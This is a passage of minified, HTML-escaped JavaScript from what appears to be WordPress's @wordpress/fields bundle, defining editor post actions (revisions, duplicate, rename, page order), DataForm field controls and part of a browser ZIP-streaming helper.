0!==t?t:0;return(0,fs.sprintf)((0,fs.__)(&quot;View revisions (%s)&quot;),s)},isEligible(e){var t,s;if(&quot;trash&quot;===e.status)return!1;const o=null!==(t=e?._links?.[&quot;predecessor-version&quot;]?.[0]?.id)&amp;&amp;void 0!==t?t:null,n=null!==(s=e?._links?.[&quot;version-history&quot;]?.[0]?.count)&amp;&amp;void 0!==s?s:0;return!!o&amp;&amp;n&gt;1},callback(e,{onActionPerformed:t}){const s=e[0],o=(0,v.addQueryArgs)(&quot;revision.php&quot;,{revision:s?._links?.[&quot;predecessor-version&quot;]?.[0]?.id});document.location.href=o,t&amp;&amp;t(e)}},Uo=window.wp.components,Ho=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z&quot;})});var Go=function(){return Go=Object.assign||function(e){for(var t,s=1,o=arguments.length;s&lt;o;s++)for(var n in t=arguments[s])Object.prototype.hasOwnProperty.call(t,n)&amp;&amp;(e[n]=t[n]);return e},Go.apply(this,arguments)};Object.create;Object.create;&quot;function&quot;==typeof SuppressedError&amp;&amp;SuppressedError;function $o(e){return e.toLowerCase()}var Wo=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],Zo=/[^A-Z0-9]+/gi;function Yo(e,t,s){return t instanceof RegExp?e.replace(t,s):t.reduce((function(e,t){return e.replace(t,s)}),e)}function Ko(e,t){return void 0===t&amp;&amp;(t={}),function(e,t){void 0===t&amp;&amp;(t={});for(var s=t.splitRegexp,o=void 0===s?Wo:s,n=t.stripRegexp,i=void 0===n?Zo:n,r=t.transform,a=void 0===r?$o:r,l=t.delimiter,c=void 0===l?&quot; &quot;:l,d=Yo(Yo(e,o,&quot;$1\0$2&quot;),i,&quot;\0&quot;),u=0,p=d.length;&quot;\0&quot;===d.charAt(u);)u++;for(;&quot;\0&quot;===d.charAt(p-1);)p--;return d.slice(u,p).split(&quot;\0&quot;).map(a).join(c)}(e,Go({delimiter:&quot;.&quot;},t))}function qo(e,t){return void 0===t&amp;&amp;(t={}),Ko(e,Go({delimiter:&quot;-&quot;},t))}function Qo(e,t){return`fields-create-template-part-modal__area-option-${e}-${t}`}function Xo(e,t){return`fields-create-template-part-modal__area-option-description-${e}-${t}`}function Jo({modalTitle:e,...t}){const s=(0,c.useSelect)((e=&gt;e(d.store).getPostType(&quot;wp_template_part&quot;)?.labels?.add_new_item),[]);return(0,L.jsx)(Uo.Modal,{title:e||s,onRequestClose:t.closeModal,overlayClassName:&quot;fields-create-template-part-modal&quot;,focusOnMount:&quot;firstContentElement&quot;,size:&quot;medium&quot;,children:(0,L.jsx)(tn,{...t})})}const en=e=&gt;&quot;header&quot;===e?O:&quot;footer&quot;===e?F:&quot;sidebar&quot;===e?V:z;function tn({defaultArea:e=&quot;uncategorized&quot;,blocks:t=[],confirmLabel:s=(0,fs.__)(&quot;Add&quot;),closeModal:o,onCreate:n,onError:i,defaultTitle:r=&quot;&quot;}){const{createErrorNotice:a}=(0,c.useDispatch)(_s.store),{saveEntityRecord:l}=(0,c.useDispatch)(d.store),m=null!==(h=(0,c.useSelect)((e=&gt;e(d.store).getEntityRecords(&quot;postType&quot;,&quot;wp_template_part&quot;,{per_page:-1})),[]))&amp;&amp;void 0!==h?h:[];var h;const[g,_]=(0,u.useState)(r),[f,b]=(0,u.useState)(e),[x,v]=(0,u.useState)(!1),S=(0,p.useInstanceId)(Jo),w=(0,c.useSelect)((e=&gt;e(d.store).getCurrentTheme()?.default_template_part_areas),[]);async function k(){if(g&amp;&amp;!x)try{v(!0);const e=((e,t)=&gt;{const s=e.toLowerCase(),o=t.map((e=&gt;e.title.rendered.toLowerCase()));if(!o.includes(s))return e;let n=2;for(;o.includes(`${s} ${n}`);)n++;return`${e} ${n}`})(g,m),s=(e=&gt;qo(e).replace(/[^\w-]+/g,&quot;&quot;)||&quot;wp-custom-part&quot;)(e),o=await l(&quot;postType&quot;,&quot;wp_template_part&quot;,{slug:s,title:e,content:(0,y.serialize)(t),area:f},{throwOnError:!0});await n(o)}catch(e){const t=e instanceof Error&amp;&amp;&quot;code&quot;in e&amp;&amp;e.message&amp;&amp;&quot;unknown_error&quot;!==e.code?e.message:(0,fs.__)(&quot;An error occurred while creating the template part.&quot;);a(t,{type:&quot;snackbar&quot;}),i?.()}finally{v(!1)}}return(0,L.jsx)(&quot;form&quot;,{onSubmit:async e=&gt;{e.preventDefault(),await k()},children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;4&quot;,children:[(0,L.jsx)(Uo.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Name&quot;),value:g,onChange:_,required:!0}),(0,L.jsxs)(&quot;fieldset&quot;,{children:[(0,L.jsx)(Uo.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:(0,fs.__)(&quot;Area&quot;)}),(0,L.jsx)(&quot;div&quot;,{className:&quot;fields-create-template-part-modal__area-radio-group&quot;,children:(null!=w?w:[]).map((e=&gt;{const t=en(e.icon);return(0,L.jsxs)(&quot;div&quot;,{className:&quot;fields-create-template-part-modal__area-radio-wrapper&quot;,children:[(0,L.jsx)(&quot;input&quot;,{type:&quot;radio&quot;,id:Qo(e.area,S),name:`fields-create-template-part-modal__area-${S}`,value:e.area,checked:f===e.area,onChange:()=&gt;{b(e.area)},&quot;aria-describedby&quot;:Xo(e.area,S)}),(0,L.jsx)(Uo.Icon,{icon:t,className:&quot;fields-create-template-part-modal__area-radio-icon&quot;}),(0,L.jsx)(&quot;label&quot;,{htmlFor:Qo(e.area,S),className:&quot;fields-create-template-part-modal__area-radio-label&quot;,children:e.label}),(0,L.jsx)(Uo.Icon,{icon:Ho,className:&quot;fields-create-template-part-modal__area-radio-checkmark&quot;}),(0,L.jsx)(&quot;p&quot;,{className:&quot;fields-create-template-part-modal__area-radio-description&quot;,id:Xo(e.area,S),children:e.description})]},e.area)}))})]}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{o()},children:(0,fs.__)(&quot;Cancel&quot;)}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,&quot;aria-disabled&quot;:!g||x,isBusy:x,children:s})]})]})})}function sn(e){return&quot;wp_template&quot;===e.type||&quot;wp_template_part&quot;===e.type}function on(e){return&quot;string&quot;==typeof e.title?(0,Lo.decodeEntities)(e.title):e.title&amp;&amp;&quot;rendered&quot;in e.title?(0,Lo.decodeEntities)(e.title.rendered):e.title&amp;&amp;&quot;raw&quot;in e.title?(0,Lo.decodeEntities)(e.title.raw):&quot;&quot;}function nn(e){return!!e&amp;&amp;([e.source,e.source].includes(&quot;custom&quot;)&amp;&amp;!Boolean(&quot;wp_template&quot;===e.type&amp;&amp;e?.plugin)&amp;&amp;!e.has_theme_file)}const rn={id:&quot;duplicate-template-part&quot;,label:(0,fs._x)(&quot;Duplicate&quot;,&quot;action label&quot;),isEligible:e=&gt;&quot;wp_template_part&quot;===e.type,modalHeader:(0,fs._x)(&quot;Duplicate template part&quot;,&quot;action label&quot;),RenderModal:({items:e,closeModal:t})=&gt;{const[s]=e,o=(0,u.useMemo)((()=&gt;{var e;return null!==(e=s.blocks)&amp;&amp;void 0!==e?e:(0,y.parse)(&quot;string&quot;==typeof s.content?s.content:s.content.raw,{__unstableSkipMigrationLogs:!0})}),[s.content,s.blocks]),{createSuccessNotice:n}=(0,c.useDispatch)(_s.store);return(0,L.jsx)(tn,{blocks:o,defaultArea:s.area,defaultTitle:(0,fs.sprintf)((0,fs._x)(&quot;%s (Copy)&quot;,&quot;template part&quot;),on(s)),onCreate:function(e){n((0,fs.sprintf)((0,fs._x)(&#039;&quot;%s&quot; duplicated.&#039;,&quot;template part&quot;),on(e)),{type:&quot;snackbar&quot;,id:&quot;edit-site-patterns-success&quot;}),t?.()},onError:t,confirmLabel:(0,fs._x)(&quot;Duplicate&quot;,&quot;action label&quot;),closeModal:null!=t?t:()=&gt;{}})}},an=rn,ln=window.wp.patterns,{lock:cn,unlock:dn}=(0,H.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/fields&quot;),{CreatePatternModalContents:un,useDuplicatePatternProps:pn}=dn(ln.privateApis),mn={id:&quot;duplicate-pattern&quot;,label:(0,fs._x)(&quot;Duplicate&quot;,&quot;action label&quot;),isEligible:e=&gt;&quot;wp_template_part&quot;!==e.type,modalHeader:(0,fs._x)(&quot;Duplicate pattern&quot;,&quot;action label&quot;),RenderModal:({items:e,closeModal:t})=&gt;{const[s]=e,o=pn({pattern:s,onSuccess:()=&gt;t?.()});return(0,L.jsx)(un,{onClose:t,confirmLabel:(0,fs._x)(&quot;Duplicate&quot;,&quot;action label&quot;),...o})}},hn=mn,{PATTERN_TYPES:gn}=dn(ln.privateApis),_n={id:&quot;rename-post&quot;,label:(0,fs.__)(&quot;Rename&quot;),isEligible:e=&gt;&quot;trash&quot;!==e.status&amp;&amp;([&quot;wp_template&quot;,&quot;wp_template_part&quot;,...Object.values(gn)].includes(e.type)?function(e){return&quot;wp_template&quot;===e.type}(e)?nn(e)&amp;&amp;e.is_custom&amp;&amp;e.permissions?.update:function(e){return&quot;wp_template_part&quot;===e.type}(e)?&quot;custom&quot;===e.source&amp;&amp;!e?.has_theme_file&amp;&amp;e.permissions?.update:e.type===gn.user&amp;&amp;e.permissions?.update:e.permissions?.update),RenderModal:({items:e,closeModal:t,onActionPerformed:s})=&gt;{const[o]=e,[n,i]=(0,u.useState)((()=&gt;on(o))),{editEntityRecord:r,saveEditedEntityRecord:a}=(0,c.useDispatch)(d.store),{createSuccessNotice:l,createErrorNotice:p}=(0,c.useDispatch)(_s.store);return(0,L.jsx)(&quot;form&quot;,{onSubmit:async function(c){c.preventDefault();try{await r(&quot;postType&quot;,o.type,o.id,{title:n}),i(&quot;&quot;),t?.(),await a(&quot;postType&quot;,o.type,o.id,{throwOnError:!0}),l((0,fs.__)(&quot;Name updated&quot;),{type:&quot;snackbar&quot;}),s?.(e)}catch(e){const t=e,s=t.message&amp;&amp;&quot;unknown_error&quot;!==t.code?t.message:(0,fs.__)(&quot;An error occurred while updating the name&quot;);p(s,{type:&quot;snackbar&quot;})}},children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,L.jsx)(Uo.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,fs.__)(&quot;Name&quot;),value:n,onChange:i,required:!0}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{t?.()},children:(0,fs.__)(&quot;Cancel&quot;)}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,children:(0,fs.__)(&quot;Save&quot;)})]})]})})}},fn=_n;const bn={sort:function(e,t,s){return&quot;asc&quot;===s?e-t:t-e},isValid:function(e,t){if(&quot;&quot;===e)return!1;if(!Number.isInteger(Number(e)))return!1;if(t?.elements){const s=t?.elements.map((e=&gt;e.value));if(!s.includes(Number(e)))return!1}return!0},Edit:&quot;integer&quot;};const yn={sort:function(e,t,s){return&quot;asc&quot;===s?e.localeCompare(t):t.localeCompare(e)},isValid:function(e,t){if(t?.elements){const s=t?.elements?.map((e=&gt;e.value));if(!s.includes(e))return!1}return!0},Edit:&quot;text&quot;};const xn={sort:function(e,t,s){const o=new Date(e).getTime(),n=new Date(t).getTime();return&quot;asc&quot;===s?o-n:n-o},isValid:function(e,t){if(t?.elements){const s=t?.elements.map((e=&gt;e.value));if(!s.includes(e))return!1}return!0},Edit:&quot;datetime&quot;};const vn={datetime:function({data:e,field:t,onChange:s,hideLabelFromVision:o}){const{id:n,label:i}=t,r=t.getValue({item:e}),a=(0,u.useCallback)((e=&gt;s({[n]:e})),[n,s]);return(0,L.jsxs)(&quot;fieldset&quot;,{className:&quot;dataviews-controls__datetime&quot;,children:[!o&amp;&amp;(0,L.jsx)(Uo.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:i}),o&amp;&amp;(0,L.jsx)(Uo.VisuallyHidden,{as:&quot;legend&quot;,children:i}),(0,L.jsx)(Uo.TimePicker,{currentTime:r,onChange:a,hideLabelFromVision:!0})]})},integer:function({data:e,field:t,onChange:s,hideLabelFromVision:o}){var n;const{id:i,label:r,description:a}=t,l=null!==(n=t.getValue({item:e}))&amp;&amp;void 0!==n?n:&quot;&quot;,c=(0,u.useCallback)((e=&gt;s({[i]:Number(e)})),[i,s]);return(0,L.jsx)(Uo.__experimentalNumberControl,{label:r,help:a,value:l,onChange:c,__next40pxDefaultSize:!0,hideLabelFromVision:o})},radio:function({data:e,field:t,onChange:s,hideLabelFromVision:o}){const{id:n,label:i}=t,r=t.getValue({item:e}),a=(0,u.useCallback)((e=&gt;s({[n]:e})),[n,s]);return t.elements?(0,L.jsx)(Uo.RadioControl,{label:i,onChange:a,options:t.elements,selected:r,hideLabelFromVision:o}):null},select:function({data:e,field:t,onChange:s,hideLabelFromVision:o}){var n,i;const{id:r,label:a}=t,l=null!==(n=t.getValue({item:e}))&amp;&amp;void 0!==n?n:&quot;&quot;,c=(0,u.useCallback)((e=&gt;s({[r]:e})),[r,s]),d=[{label:(0,fs.__)(&quot;Select item&quot;),value:&quot;&quot;},...null!==(i=t?.elements)&amp;&amp;void 0!==i?i:[]];return(0,L.jsx)(Uo.SelectControl,{label:a,value:l,options:d,onChange:c,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,hideLabelFromVision:o})},text:function({data:e,field:t,onChange:s,hideLabelFromVision:o}){const{id:n,label:i,placeholder:r}=t,a=t.getValue({item:e}),l=(0,u.useCallback)((e=&gt;s({[n]:e})),[n,s]);return(0,L.jsx)(Uo.TextControl,{label:i,placeholder:r,value:null!=a?a:&quot;&quot;,onChange:l,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,hideLabelFromVision:o})}};function Sn(e){if(Object.keys(vn).includes(e))return vn[e];throw&quot;Control &quot;+e+&quot; not found&quot;}function wn(e){return e.map((e=&gt;{var t,s,o,n;const i=&quot;integer&quot;===(r=e.type)?bn:&quot;text&quot;===r?yn:&quot;datetime&quot;===r?xn:{sort:(e,t,s)=&gt;&quot;number&quot;==typeof e&amp;&amp;&quot;number&quot;==typeof t?&quot;asc&quot;===s?e-t:t-e:&quot;asc&quot;===s?e.localeCompare(t):t.localeCompare(e),isValid:(e,t)=&gt;{if(t?.elements){const s=t?.elements?.map((e=&gt;e.value));if(!s.includes(e))return!1}return!0},Edit:()=&gt;null};var r;const a=e.getValue||(l=e.id,({item:e})=&gt;{const t=l.split(&quot;.&quot;);let s=e;for(const e of t)s=s.hasOwnProperty(e)?s[e]:void 0;return s});var l;const c=null!==(t=e.sort)&amp;&amp;void 0!==t?t:function(e,t,s){return i.sort(a({item:e}),a({item:t}),s)},d=null!==(s=e.isValid)&amp;&amp;void 0!==s?s:function(e,t){return i.isValid(a({item:e}),t)},u=function(e,t){return&quot;function&quot;==typeof e.Edit?e.Edit:&quot;string&quot;==typeof e.Edit?Sn(e.Edit):e.elements?Sn(&quot;select&quot;):&quot;string&quot;==typeof t.Edit?Sn(t.Edit):t.Edit}(e,i),p=e.render||(e.elements?({item:t})=&gt;{const s=a({item:t});return e?.elements?.find((e=&gt;e.value===s))?.label||a({item:t})}:a);return{...e,label:e.label||e.id,header:e.header||e.label||e.id,getValue:a,render:p,sort:c,isValid:d,Edit:u,enableHiding:null===(o=e.enableHiding)||void 0===o||o,enableSorting:null===(n=e.enableSorting)||void 0===n||n}}))}function kn(e,t,s){return wn(t.filter((({id:e})=&gt;!!s.fields?.includes(e)))).every((t=&gt;t.isValid(e,{elements:t.elements})))}const Cn=(0,u.createContext)({fields:[]});function Pn({fields:e,children:t}){return(0,L.jsx)(Cn.Provider,{value:{fields:e},children:t})}const jn=Cn;function En(e){return void 0!==e.children}function Tn({title:e}){return(0,L.jsx)(Uo.__experimentalVStack,{className:&quot;dataforms-layouts-regular__header&quot;,spacing:4,children:(0,L.jsxs)(Uo.__experimentalHStack,{alignment:&quot;center&quot;,children:[(0,L.jsx)(Uo.__experimentalHeading,{level:2,size:13,children:e}),(0,L.jsx)(Uo.__experimentalSpacer,{})]})})}const Bn=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z&quot;})});function In({title:e,onClose:t}){return(0,L.jsx)(Uo.__experimentalVStack,{className:&quot;dataforms-layouts-panel__dropdown-header&quot;,spacing:4,children:(0,L.jsxs)(Uo.__experimentalHStack,{alignment:&quot;center&quot;,children:[e&amp;&amp;(0,L.jsx)(Uo.__experimentalHeading,{level:2,size:13,children:e}),(0,L.jsx)(Uo.__experimentalSpacer,{}),t&amp;&amp;(0,L.jsx)(Uo.Button,{label:(0,fs.__)(&quot;Close&quot;),icon:Bn,onClick:t,size:&quot;small&quot;})]})})}function Nn({fieldDefinition:e,popoverAnchor:t,labelPosition:s=&quot;side&quot;,data:o,onChange:n,field:i}){const r=En(i)?i.label:e?.label,a=(0,u.useMemo)((()=&gt;En(i)?{type:&quot;regular&quot;,fields:i.children.map((e=&gt;&quot;string&quot;==typeof e?{id:e}:e))}:{type:&quot;regular&quot;,fields:[{id:i.id}]}),[i]),l=(0,u.useMemo)((()=&gt;({anchor:t,placement:&quot;left-start&quot;,offset:36,shift:!0})),[t]);return(0,L.jsx)(Uo.Dropdown,{contentClassName:&quot;dataforms-layouts-panel__field-dropdown&quot;,popoverProps:l,focusOnMount:!0,toggleProps:{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,tooltipPosition:&quot;middle left&quot;},renderToggle:({isOpen:t,onToggle:n})=&gt;(0,L.jsx)(Uo.Button,{className:&quot;dataforms-layouts-panel__field-control&quot;,size:&quot;compact&quot;,variant:[&quot;none&quot;,&quot;top&quot;].includes(s)?&quot;link&quot;:&quot;tertiary&quot;,&quot;aria-expanded&quot;:t,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs._x)(&quot;Edit %s&quot;,&quot;field&quot;),r),onClick:n,children:(0,L.jsx)(e.render,{item:o})}),renderContent:({onClose:e})=&gt;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(In,{title:r,onClose:e}),(0,L.jsx)(An,{data:o,form:a,onChange:n,children:(e,t)=&gt;{var s;return(0,L.jsx)(e,{data:o,field:t,onChange:n,hideLabelFromVision:(null!==(s=a?.fields)&amp;&amp;void 0!==s?s:[]).length&lt;2},t.id)}})]})})}const Dn=[{type:&quot;regular&quot;,component:function({data:e,field:t,onChange:s,hideLabelFromVision:o}){var n;const{fields:i}=(0,u.useContext)(jn),r=(0,u.useMemo)((()=&gt;En(t)?{fields:t.children.map((e=&gt;&quot;string&quot;==typeof e?{id:e}:e)),type:&quot;regular&quot;}:{type:&quot;regular&quot;,fields:[]}),[t]);if(En(t))return(0,L.jsxs)(L.Fragment,{children:[!o&amp;&amp;t.label&amp;&amp;(0,L.jsx)(Tn,{title:t.label}),(0,L.jsx)(An,{data:e,form:r,onChange:s})]});const a=null!==(n=t.labelPosition)&amp;&amp;void 0!==n?n:&quot;top&quot;,l=i.find((e=&gt;e.id===t.id));return l?&quot;side&quot;===a?(0,L.jsxs)(Uo.__experimentalHStack,{className:&quot;dataforms-layouts-regular__field&quot;,children:[(0,L.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-regular__field-label&quot;,children:l.label}),(0,L.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-regular__field-control&quot;,children:(0,L.jsx)(l.Edit,{data:e,field:l,onChange:s,hideLabelFromVision:!0},l.id)})]}):(0,L.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-regular__field&quot;,children:(0,L.jsx)(l.Edit,{data:e,field:l,onChange:s,hideLabelFromVision:&quot;none&quot;===a||o})}):null}},{type:&quot;panel&quot;,component:function({data:e,field:t,onChange:s}){var o;const{fields:n}=(0,u.useContext)(jn),i=n.find((e=&gt;{if(En(t)){const s=t.children.filter((e=&gt;&quot;string&quot;==typeof e||!En(e))),o=&quot;string&quot;==typeof s[0]?s[0]:s[0].id;return e.id===o}return e.id===t.id})),r=null!==(o=t.labelPosition)&amp;&amp;void 0!==o?o:&quot;side&quot;,[a,l]=(0,u.useState)(null);if(!i)return null;const c=En(t)?t.label:i?.label;return&quot;top&quot;===r?(0,L.jsxs)(Uo.__experimentalVStack,{className:&quot;dataforms-layouts-panel__field&quot;,spacing:0,children:[(0,L.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-panel__field-label&quot;,style:{paddingBottom:0},children:c}),(0,L.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-panel__field-control&quot;,children:(0,L.jsx)(Nn,{field:t,popoverAnchor:a,fieldDefinition:i,data:e,onChange:s,labelPosition:r})})]}):&quot;none&quot;===r?(0,L.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-panel__field&quot;,children:(0,L.jsx)(Nn,{field:t,popoverAnchor:a,fieldDefinition:i,data:e,onChange:s,labelPosition:r})}):(0,L.jsxs)(Uo.__experimentalHStack,{ref:l,className:&quot;dataforms-layouts-panel__field&quot;,children:[(0,L.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-panel__field-label&quot;,children:c}),(0,L.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-panel__field-control&quot;,children:(0,L.jsx)(Nn,{field:t,popoverAnchor:a,fieldDefinition:i,data:e,onChange:s,labelPosition:r})})]})}}];function An({data:e,form:t,onChange:s,children:o}){const{fields:n}=(0,u.useContext)(jn);const i=(0,u.useMemo)((()=&gt;function(e){var t,s,o;let n=&quot;regular&quot;;[&quot;regular&quot;,&quot;panel&quot;].includes(null!==(t=e.type)&amp;&amp;void 0!==t?t:&quot;&quot;)&amp;&amp;(n=e.type);const i=null!==(s=e.labelPosition)&amp;&amp;void 0!==s?s:&quot;regular&quot;===n?&quot;top&quot;:&quot;side&quot;;return(null!==(o=e.fields)&amp;&amp;void 0!==o?o:[]).map((e=&gt;{var t,s;if(&quot;string&quot;==typeof e)return{id:e,layout:n,labelPosition:i};const o=null!==(t=e.layout)&amp;&amp;void 0!==t?t:n,r=null!==(s=e.labelPosition)&amp;&amp;void 0!==s?s:&quot;regular&quot;===o?&quot;top&quot;:&quot;side&quot;;return{...e,layout:o,labelPosition:r}}))}(t)),[t]);return(0,L.jsx)(Uo.__experimentalVStack,{spacing:2,children:i.map((t=&gt;{const i=(r=t.layout,Dn.find((e=&gt;e.type===r)))?.component;var r;if(!i)return null;const a=En(t)?void 0:function(e){const t=&quot;string&quot;==typeof e?e:e.id;return n.find((e=&gt;e.id===t))}(t);return a&amp;&amp;a.isVisible&amp;&amp;!a.isVisible(e)?null:o?o(i,t):(0,L.jsx)(i,{data:e,field:t,onChange:s},t.id)}))})}function Rn({data:e,form:t,fields:s,onChange:o}){const n=(0,u.useMemo)((()=&gt;wn(s)),[s]);return t.fields?(0,L.jsx)(Pn,{fields:n,children:(0,L.jsx)(An,{data:e,form:t,onChange:o})}):null}const Mn=[{id:&quot;menu_order&quot;,type:&quot;integer&quot;,label:(0,fs.__)(&quot;Order&quot;),description:(0,fs.__)(&quot;Determines the order of pages.&quot;)}],Ln={fields:[&quot;menu_order&quot;]};const On={id:&quot;order-pages&quot;,label:(0,fs.__)(&quot;Order&quot;),isEligible:({status:e})=&gt;&quot;trash&quot;!==e,RenderModal:function({items:e,closeModal:t,onActionPerformed:s}){const[o,n]=(0,u.useState)(e[0]),i=o.menu_order,{editEntityRecord:r,saveEditedEntityRecord:a}=(0,c.useDispatch)(d.store),{createSuccessNotice:l,createErrorNotice:p}=(0,c.useDispatch)(_s.store),m=!kn(o,Mn,Ln);return(0,L.jsx)(&quot;form&quot;,{onSubmit:async function(n){if(n.preventDefault(),kn(o,Mn,Ln))try{await r(&quot;postType&quot;,o.type,o.id,{menu_order:i}),t?.(),await a(&quot;postType&quot;,o.type,o.id,{throwOnError:!0}),l((0,fs.__)(&quot;Order updated.&quot;),{type:&quot;snackbar&quot;}),s?.(e)}catch(e){const t=e,s=t.message&amp;&amp;&quot;unknown_error&quot;!==t.code?t.message:(0,fs.__)(&quot;An error occurred while updating the order&quot;);p(s,{type:&quot;snackbar&quot;})}},children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,L.jsx)(&quot;div&quot;,{children:(0,fs.__)(&quot;Determines the order of pages. Pages with the same order value are sorted alphabetically. Negative order values are supported.&quot;)}),(0,L.jsx)(Rn,{data:o,fields:Mn,form:Ln,onChange:e=&gt;n({...o,...e})}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{t?.()},children:(0,fs.__)(&quot;Cancel&quot;)}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,accessibleWhenDisabled:!0,disabled:m,children:(0,fs.__)(&quot;Save&quot;)})]})]})})}},Fn=On;&quot;stream&quot;in Blob.prototype||Object.defineProperty(Blob.prototype,&quot;stream&quot;,{value(){return new Response(this).body}}),&quot;setBigUint64&quot;in DataView.prototype||Object.defineProperty(DataView.prototype,&quot;setBigUint64&quot;,{value(e,t,s){const o=Number(0xffffffffn&amp;t),n=Number(t&gt;&gt;32n);this.setUint32(e+(s?0:4),o,s),this.setUint32(e+(s?4:0),n,s)}});var Vn=e=&gt;new DataView(new ArrayBuffer(e)),zn=e=&gt;new Uint8Array(e.buffer||e),Un=e=&gt;(new TextEncoder).encode(String(e)),Hn=e=&gt;Math.min(4294967295,Number(e)),Gn=e=&gt;Math.min(65535,Number(e));function $n(e,t,s){void 0===t||t instanceof Date||(t=new Date(t));const o=void 0!==e;if(s||(s=o?436:509),e instanceof File)return{isFile:o,t:t||new Date(e.lastModified),bytes:e.stream(),mode:s};if(e instanceof Response)return{isFile:o,t:t||new Date(e.headers.get(&quot;Last-Modified&quot;)||Date.now()),bytes:e.body,mode:s};if(void 0===t)t=new Date;else if(isNaN(t))throw new Error(&quot;Invalid modification date.&quot;);if(!o)return{isFile:o,t,mode:s};if(&quot;string&quot;==typeof e)return{isFile:o,t,bytes:Un(e),mode:s};if(e instanceof Blob)return{isFile:o,t,bytes:e.stream(),mode:s};if(e instanceof Uint8Array||e instanceof ReadableStream)return{isFile:o,t,bytes:e,mode:s};if(e instanceof ArrayBuffer||ArrayBuffer.isView(e))return{isFile:o,t,bytes:zn(e),mode:s};if(Symbol.asyncIterator in e)return{isFile:o,t,bytes:Wn(e[Symbol.asyncIterator]()),mode:s};throw new TypeError(&quot;Unsupported input format.&quot;)}function Wn(e,t=e){return new ReadableStream({async pull(t){let s=0;for(;t.desiredSize&gt;s;){const o=await e.next();if(!o.value){t.close();break}{const e=Zn(o.value);t.enqueue(e),s+=e.byteLength}}},cancel(e){t.throw?.(e)}})}function Zn(e){return&quot;string&quot;==typeof e?Un(e):e instanceof Uint8Array?e:zn(e)}function Yn(e,t,s){let[o,n]=function(e){return e?e instanceof Uint8Array?[e,1]:ArrayBuffer.isView(e)||e instanceof ArrayBuffer?[zn(e),1]:[Un(e),0]:[void 0,0]}(t);if(e instanceof File)return{i:qn(o||Un(e.name)),o:BigInt(e.size),u:n};if(e instanceof Response){const t=e.headers.get(&quot;content-disposition&quot;),i=t&amp;&amp;t.match(/;\s*filename\*?\s*=\s*(?:UTF-\d+&#039;&#039;|)[&quot;&#039;]?([^;&quot;&#039;\r\n]*)[&quot;&#039;]?(?:;|$)/i),r=i&amp;&amp;i[1]||e.url&amp;&amp;new URL(e.url).pathname.split(&quot;/&quot;).findLast(Boolean),a=r&amp;&amp;decodeURIComponent(r),l=s||+e.headers.get(&quot;content-length&quot;);return{i:qn(o||Un(a)),o:BigInt(l),u:n}}return o=qn(o,void 0!==e||void 0!==s),&quot;string&quot;==typeof e?{i:o,o:BigInt(Un(e).length),u:n}:e instanceof Blob?{i:o,o:BigInt(e.size),u:n}:e instanceof ArrayBuffer||ArrayBuffer.isView(e)?{i:o,o:BigInt(e.byteLength),u:n}:{i:o,o:Kn(e,s),u:n}}function Kn(e,t){return t&gt;-1?BigInt(t):e?void 0:0n}function qn(e,t=1){if(!e||e.every((e=&gt;47===e)))throw new Error(&quot;The file must have a name.&quot;);if(t)for(;47===e[e.length-1];)e=e.subarray(0,-1);else 47!==e[e.length-1]&amp;&amp;(e=new Uint8Array([...e,47]));return e}var Qn=new Uint32Array(256);for(let e=0;e&lt;256;++e){let t=e;for(let e=0;e&lt;8;++e)t=t&gt;&gt;&gt;1^(1&amp;t&amp;&amp;3988292384);Qn[e]=t}function Xn(e,t=0){t=~t;for(var s=0,o=e.length;s&lt;o;s++)t=t&gt;&gt;&gt;8^Qn[255&amp;t^e[s]];return~t&gt;&gt;&gt;0}function Jn(e,t,s=0){const 